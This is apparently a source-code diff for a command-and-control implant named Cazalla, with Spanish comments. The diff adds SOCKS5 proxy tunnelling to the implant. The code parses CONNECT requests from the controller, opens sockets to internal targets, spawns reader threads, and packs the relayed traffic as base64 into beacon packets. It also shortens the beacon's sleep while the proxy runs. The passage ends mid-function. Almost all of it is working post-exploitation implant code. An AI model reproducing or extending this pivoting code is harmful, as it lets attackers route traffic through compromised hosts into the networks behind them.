||||
/* Callback C para volcar mensajes SOCKS al paquete */
|
||||
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
|
||||
PPaquete pkt = (PPaquete)ctx;
|
||||
printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
|
||||
fflush(stdout);
|
||||
addInt32(pkt, server_id);
|
||||
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
||||
if (data_len && data) {
|
||||
char *b64 = b64Codificado(data, (SIZE_T)data_len);
|
||||
SIZE_T b64len = b64 ? strlen(b64) : 0;
|
||||
addInt32(pkt, (UINT32)b64len);
|
||||
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
|
||||
if (b64) LocalFree(b64);
|
||||
} else {
|
||||
addInt32(pkt, 0);
|
||||
}
|
||||
printf("[SOCKS] flush_socks_cb completed\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
||||
static VOID flushSocksTraffic(PPaquete paquete) {
|
||||
printf("[PAQUETE] flushSocksTraffic()\n");
|
||||
fflush(stdout);
|
||||
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
|
||||
PPaquete temp = nuevoPaquete(0, FALSE);
|
||||
if (!temp) {
|
||||
printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n");
|
||||
fflush(stdout);
|
||||
return;
|
||||
}
|
||||
printf("[PAQUETE] temp paquete created\n");
|
||||
fflush(stdout);
|
||||
|
||||
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
|
||||
printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length);
|
||||
fflush(stdout);
|
||||
|
||||
if (temp->length > 0) {
|
||||
printf("[PAQUETE] Adding SOCKS block marker\n");
|
||||
fflush(stdout);
|
||||
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
|
||||
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
|
||||
addInt32(paquete, (UINT32)temp->length);
|
||||
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
||||
}
|
||||
liberarPaquete(temp);
|
||||
printf("[PAQUETE] flushSocksTraffic() completed\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
/* === Enviar paquete con soporte SOCKS === */
|
||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length);
|
||||
fflush(stdout);
|
||||
|
||||
// Solo añadir tráfico SOCKS si el proxy está activo
|
||||
if (socks_proxy_active) {
|
||||
printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n");
|
||||
fflush(stdout);
|
||||
flushSocksTraffic(paquete);
|
||||
} else {
|
||||
printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||
|
||||
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete);
|
||||
fflush(stdout);
|
||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||
|
||||
if (!respuesta) {
|
||||
|
||||
printf("[PAQUETE] ERROR: respuesta NULL\n");
|
||||
fflush(stdout);
|
||||
paqueteParaMandar = NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[PAQUETE] respuesta OK\n");
|
||||
fflush(stdout);
|
||||
return respuesta;
|
||||
|
||||
}
|
||||
|
||||
/* === Funciones auxiliares === */
|
||||
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||
//v2. Syscalls
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
@@ -58,33 +132,27 @@ BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||
paquete->length += sizeof(UINT32);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
||||
paquete->length += sizeof(UINT64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||
|
||||
if (tamanoCopia && tamano) {
|
||||
if (!addInt32(paquete, tamano)) {
|
||||
return FALSE;
|
||||
@@ -95,10 +163,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
if (tamanoCopia) {
|
||||
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
||||
}
|
||||
//v2.syscalls
|
||||
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||
paquete->length += tamano;
|
||||
}
|
||||
@@ -106,7 +170,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||
}
|
||||
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||
|
||||
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
@@ -120,33 +183,24 @@ BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
|
||||
{
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
// Determine how much space is needed for the formatted string
|
||||
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
|
||||
|
||||
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1;
|
||||
va_end(args);
|
||||
|
||||
// Allocate a temporary buffer for the formatted string
|
||||
char* tempBuffer = (char*)malloc(requiredLength);
|
||||
if (tempBuffer == NULL)
|
||||
{
|
||||
return FALSE; // Memory allocation failed
|
||||
}
|
||||
if (!tempBuffer) return FALSE;
|
||||
|
||||
va_start(args, fmt);
|
||||
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
// Use addString to add the formatted string to the package
|
||||
if (!addString(package, tempBuffer, copySize))
|
||||
return FALSE;
|
||||
|
||||
// Free the temporary buffer
|
||||
if (!addString(package, tempBuffer, copySize)) {
|
||||
free(tempBuffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
free(tempBuffer);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -28,4 +28,7 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||
|
||||
/* Formatted append helper */
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
|
||||
#endif
|
||||
@@ -4,6 +4,10 @@
|
||||
#include "analizador.h"
|
||||
#include "identity.h"
|
||||
#include "spawn.h"
|
||||
|
||||
/* forward decls to avoid implicit warnings */
|
||||
BOOL SelfIsWindowsVistaOrLater();
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
#include <tlhelp32.h>
|
||||
|
||||
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
#include "sleep.h"
|
||||
#include "cazalla.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
BOOL sleep(PAnalizador argumentos) {
|
||||
|
||||
@@ -16,30 +23,39 @@ BOOL sleep(PAnalizador argumentos) {
|
||||
|
||||
const int minVarianza = 1;
|
||||
const int rangoVarianza = maxVarianza / 2;
|
||||
|
||||
int Rand = aleatorioInt32(0, rangoVarianza);
|
||||
|
||||
tiempoSleep += Rand;
|
||||
|
||||
|
||||
if (tiempoSleep < minVarianza) {
|
||||
tiempoSleep = minVarianza;
|
||||
}
|
||||
|
||||
|
||||
if (cazallaConfig == NULL) {
|
||||
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||
|
||||
/* convertir a milisegundos */
|
||||
tiempoSleep = tiempoSleep * 1000;
|
||||
|
||||
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
|
||||
if (socks_proxy_active) {
|
||||
DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico");
|
||||
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
||||
}
|
||||
|
||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||
|
||||
DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
||||
|
||||
/* respuesta al servidor */
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addInt32(respuestaTarea, tiempoSleep);
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -7,6 +7,7 @@
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
#include "utils.h"
|
||||
#include "socks_manager.h" // <— añadido para acceder al flag socks_proxy_active
|
||||
|
||||
BOOL sleep(PAnalizador argumentos);
|
||||
|
||||
|
||||
@@ -0,0 +1,569 @@
|
||||
#include "socks_manager.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "utils.h"
|
||||
#include <stdint.h>
|
||||
#include <errno.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
//#include <winsock2.h>
|
||||
//#include <ws2tcpip.h>
|
||||
#pragma comment(lib,"Ws2_32.lib")
|
||||
typedef SOCKET sock_t;
|
||||
#define CLOSESOCK(s) closesocket(s)
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
typedef int sock_t;
|
||||
#define INVALID_SOCKET -1
|
||||
#define SOCKET_ERROR -1
|
||||
#define CLOSESOCK(s) close(s)
|
||||
#endif
|
||||
|
||||
#ifdef DEBUG_SOCKS
|
||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||
#else
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
|
||||
|
||||
typedef struct conn_entry {
|
||||
uint32_t server_id;
|
||||
sock_t sock;
|
||||
struct conn_entry *next;
|
||||
int closed;
|
||||
} conn_entry_t;
|
||||
|
||||
static conn_entry_t *conn_list = NULL;
|
||||
#ifdef _WIN32
|
||||
static CRITICAL_SECTION conn_lock;
|
||||
#else
|
||||
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
#endif
|
||||
|
||||
typedef struct outgoing_node {
|
||||
socks_msg_t msg;
|
||||
struct outgoing_node *next;
|
||||
} outgoing_node_t;
|
||||
static outgoing_node_t *out_head = NULL;
|
||||
static outgoing_node_t *out_tail = NULL;
|
||||
|
||||
#ifdef _WIN32
|
||||
static CRITICAL_SECTION out_lock;
|
||||
#else
|
||||
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
#endif
|
||||
|
||||
static void lock_init_once(void) {
|
||||
#ifdef _WIN32
|
||||
InitializeCriticalSection(&conn_lock);
|
||||
InitializeCriticalSection(&out_lock);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* === Inicialización / limpieza === */
|
||||
|
||||
void socks_manager_init(void) {
|
||||
DBG_PRINTF("socks_manager_init()");
|
||||
lock_init_once();
|
||||
#ifdef _WIN32
|
||||
WSADATA wsa;
|
||||
WSAStartup(MAKEWORD(2,2), &wsa);
|
||||
#endif
|
||||
}
|
||||
|
||||
void socks_manager_cleanup(void) {
|
||||
DBG_PRINTF("socks_manager_cleanup()");
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
conn_entry_t *n = cur->next;
|
||||
free(cur);
|
||||
cur = n;
|
||||
}
|
||||
conn_list = NULL;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
DeleteCriticalSection(&conn_lock);
|
||||
DeleteCriticalSection(&out_lock);
|
||||
WSACleanup();
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
socks_proxy_active = 0;
|
||||
}
|
||||
|
||||
/* === Gestión de conexiones === */
|
||||
|
||||
static conn_entry_t* find_entry(uint32_t server_id) {
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list;
|
||||
while (cur) {
|
||||
if (cur->server_id == server_id) {
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return cur;
|
||||
}
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
|
||||
conn_entry_t *e = malloc(sizeof(conn_entry_t));
|
||||
if (!e) return NULL;
|
||||
e->server_id = server_id;
|
||||
e->sock = s;
|
||||
e->next = NULL;
|
||||
e->closed = 0;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
e->next = conn_list;
|
||||
conn_list = e;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s);
|
||||
return e;
|
||||
}
|
||||
|
||||
static void remove_entry(uint32_t server_id) {
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&conn_lock);
|
||||
#endif
|
||||
conn_entry_t *cur = conn_list, *prev = NULL;
|
||||
while (cur) {
|
||||
if (cur->server_id == server_id) {
|
||||
if (prev) prev->next = cur->next;
|
||||
else conn_list = cur->next;
|
||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||
DBG_PRINTF("remove_entry sid=%u", server_id);
|
||||
free(cur);
|
||||
break;
|
||||
}
|
||||
prev = cur;
|
||||
cur = cur->next;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&conn_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&conn_lock);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* === Cola de salida === */
|
||||
|
||||
static void enqueue_outgoing(socks_msg_t *m) {
|
||||
printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len);
|
||||
fflush(stdout);
|
||||
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
||||
memset(n,0,sizeof(*n));
|
||||
n->msg.server_id = m->server_id;
|
||||
n->msg.exit_flag = m->exit_flag;
|
||||
n->msg.data_len = m->data_len;
|
||||
if (m->data_len) {
|
||||
n->msg.data = malloc(m->data_len);
|
||||
memcpy(n->msg.data, m->data, m->data_len);
|
||||
} else n->msg.data = NULL;
|
||||
n->next = NULL;
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&out_lock);
|
||||
#endif
|
||||
if (!out_tail) out_head = out_tail = n;
|
||||
else { out_tail->next = n; out_tail = n; }
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&out_lock);
|
||||
#endif
|
||||
printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
|
||||
}
|
||||
|
||||
/* === Volcado de cola de salida === */
|
||||
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
|
||||
printf("[SOCKS_MGR] flush_outgoing: iniciando\n");
|
||||
fflush(stdout);
|
||||
if (!cb) {
|
||||
printf("[SOCKS_MGR] ERROR: callback es NULL\n");
|
||||
fflush(stdout);
|
||||
return;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
EnterCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_lock(&out_lock);
|
||||
#endif
|
||||
outgoing_node_t *n = out_head;
|
||||
out_head = out_tail = NULL;
|
||||
#ifdef _WIN32
|
||||
LeaveCriticalSection(&out_lock);
|
||||
#else
|
||||
pthread_mutex_unlock(&out_lock);
|
||||
#endif
|
||||
|
||||
int count = 0;
|
||||
while (n) {
|
||||
count++;
|
||||
printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n",
|
||||
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
|
||||
fflush(stdout);
|
||||
outgoing_node_t *next = n->next;
|
||||
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
|
||||
if (n->msg.data) free(n->msg.data);
|
||||
free(n);
|
||||
n = next;
|
||||
}
|
||||
printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
/* === Base64 === */
|
||||
extern int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||
extern int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||
|
||||
/* === Parseo SOCKS5 === */
|
||||
static int parse_socks5_connect(const unsigned char *data, size_t data_len, char *out_ip, size_t ip_sz, uint16_t *out_port) {
|
||||
if (data_len < 7) return -1;
|
||||
if (data[0] == 0x05) {
|
||||
if (data_len >= 10 && data[1] == 0x01 && data[2] == 0x00) {
|
||||
unsigned char atyp = data[3];
|
||||
if (atyp == 0x01 && data_len >= 10) {
|
||||
snprintf(out_ip, ip_sz, "%u.%u.%u.%u", data[4], data[5], data[6], data[7]);
|
||||
*out_port = (uint16_t)((data[8] << 8) | data[9]);
|
||||
return 0;
|
||||
} else if (atyp == 0x03) {
|
||||
unsigned int len = data[4];
|
||||
if (data_len >= 7 + len) {
|
||||
memcpy(out_ip, &data[5], len);
|
||||
out_ip[len] = 0;
|
||||
*out_port = (uint16_t)((data[5+len] << 8) | data[6+len]);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* === Thread lector === */
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI remote_reader_thread(LPVOID arg);
|
||||
#else
|
||||
static void* remote_reader_thread(void* arg);
|
||||
#endif
|
||||
|
||||
typedef struct reader_args {
|
||||
uint32_t server_id;
|
||||
sock_t s;
|
||||
} reader_args_t;
|
||||
|
||||
#ifdef _WIN32
|
||||
DWORD WINAPI remote_reader_thread(LPVOID arg) {
|
||||
reader_args_t *ra = (reader_args_t*)arg;
|
||||
uint32_t sid = ra->server_id;
|
||||
sock_t s = ra->s;
|
||||
free(ra);
|
||||
printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s);
|
||||
fflush(stdout);
|
||||
unsigned char buf[4096];
|
||||
int loop_count = 0;
|
||||
while (1) {
|
||||
loop_count++;
|
||||
printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count);
|
||||
fflush(stdout);
|
||||
int r = recv(s, (char*)buf, sizeof(buf), 0);
|
||||
printf("[READER] sid=%u recv() retornó r=%d", sid, r);
|
||||
if (r < 0) {
|
||||
int err = WSAGetLastError();
|
||||
printf(" WSAError=%d", err);
|
||||
}
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
if (r <= 0) break;
|
||||
printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("reader sid=%u recv=%d", sid, r);
|
||||
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||
enqueue_outgoing(&m);
|
||||
printf("[READER] sid=%u datos encolados OK\n", sid);
|
||||
fflush(stdout);
|
||||
}
|
||||
printf("[READER] sid=%u salió del loop, cerrando socket\n", sid);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("reader sid=%u closing", sid);
|
||||
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||
enqueue_outgoing(&m2);
|
||||
CLOSESOCK(s);
|
||||
printf("[READER] Thread terminado para sid=%u\n", sid);
|
||||
fflush(stdout);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static void* remote_reader_thread(void* arg) {
|
||||
reader_args_t *ra = (reader_args_t*)arg;
|
||||
uint32_t sid = ra->server_id;
|
||||
sock_t s = ra->s;
|
||||
free(ra);
|
||||
unsigned char buf[4096];
|
||||
while (1) {
|
||||
ssize_t r = recv(s, buf, sizeof(buf), 0);
|
||||
if (r <= 0) break;
|
||||
DBG_PRINTF("reader sid=%u recv=%zd", sid, r);
|
||||
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||
enqueue_outgoing(&m);
|
||||
}
|
||||
DBG_PRINTF("reader sid=%u closing", sid);
|
||||
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||
enqueue_outgoing(&m2);
|
||||
CLOSESOCK(s);
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* === Conexión remota === */
|
||||
typedef struct {
|
||||
uint32_t ipv4; // en network byte order
|
||||
uint16_t port; // en network byte order
|
||||
} socks_bound_addr_t;
|
||||
|
||||
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
|
||||
printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id);
|
||||
fflush(stdout);
|
||||
if (server_id == 0) {
|
||||
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("invalid server_id=%u (ignored)", server_id);
|
||||
return -4;
|
||||
}
|
||||
DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
|
||||
struct sockaddr_in sa;
|
||||
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s == INVALID_SOCKET) {
|
||||
printf("[SOCKS_MGR] ERROR: socket() failed\n");
|
||||
fflush(stdout);
|
||||
return -1;
|
||||
}
|
||||
printf("[SOCKS_MGR] Socket creado OK\n");
|
||||
fflush(stdout);
|
||||
memset(&sa,0,sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) {
|
||||
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
|
||||
fflush(stdout);
|
||||
struct hostent *h = gethostbyname(dest);
|
||||
if (!h) {
|
||||
printf("[SOCKS_MGR] ERROR: gethostbyname failed\n");
|
||||
fflush(stdout);
|
||||
CLOSESOCK(s);
|
||||
return -2;
|
||||
}
|
||||
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
||||
printf("[SOCKS_MGR] Hostname resuelto OK\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
|
||||
fflush(stdout);
|
||||
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("connect() failed errno=%d", errno);
|
||||
CLOSESOCK(s);
|
||||
return -3;
|
||||
}
|
||||
printf("[SOCKS_MGR] Conexión exitosa!\n");
|
||||
fflush(stdout);
|
||||
|
||||
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
|
||||
if (bound) {
|
||||
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
|
||||
bound->port = sa.sin_port; // ya en network byte order
|
||||
printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port));
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
/* timeout para evitar bloqueo indefinido */
|
||||
int timeout_ms = 15000; // 15s
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
||||
DBG_PRINTF("socket timeout set %d ms", timeout_ms);
|
||||
|
||||
printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
create_entry(server_id, s);
|
||||
#ifdef _WIN32
|
||||
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||
ra->server_id = server_id; ra->s = s;
|
||||
printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
|
||||
#else
|
||||
pthread_t tid;
|
||||
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||
ra->server_id = server_id; ra->s = s;
|
||||
pthread_create(&tid, NULL, remote_reader_thread, ra);
|
||||
pthread_detach(tid);
|
||||
#endif
|
||||
printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* === Procesamiento principal === */
|
||||
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
|
||||
printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||
if (server_id == 0) {
|
||||
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("invalid server_id=%u", server_id);
|
||||
return -4;
|
||||
}
|
||||
|
||||
if (exit_flag) {
|
||||
printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id);
|
||||
fflush(stdout);
|
||||
remove_entry(server_id);
|
||||
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||
enqueue_outgoing(&m);
|
||||
return 0;
|
||||
}
|
||||
|
||||
conn_entry_t *e = find_entry(server_id);
|
||||
if (!e) {
|
||||
char dest[256]; uint16_t dport=0;
|
||||
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
|
||||
printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
||||
if (r != 0) return -1;
|
||||
|
||||
socks_bound_addr_t bound;
|
||||
memset(&bound, 0, sizeof(bound));
|
||||
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
|
||||
printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc);
|
||||
fflush(stdout);
|
||||
DBG_PRINTF("connect_and_spawn_reader rc=%d", rc);
|
||||
if (rc != 0) {
|
||||
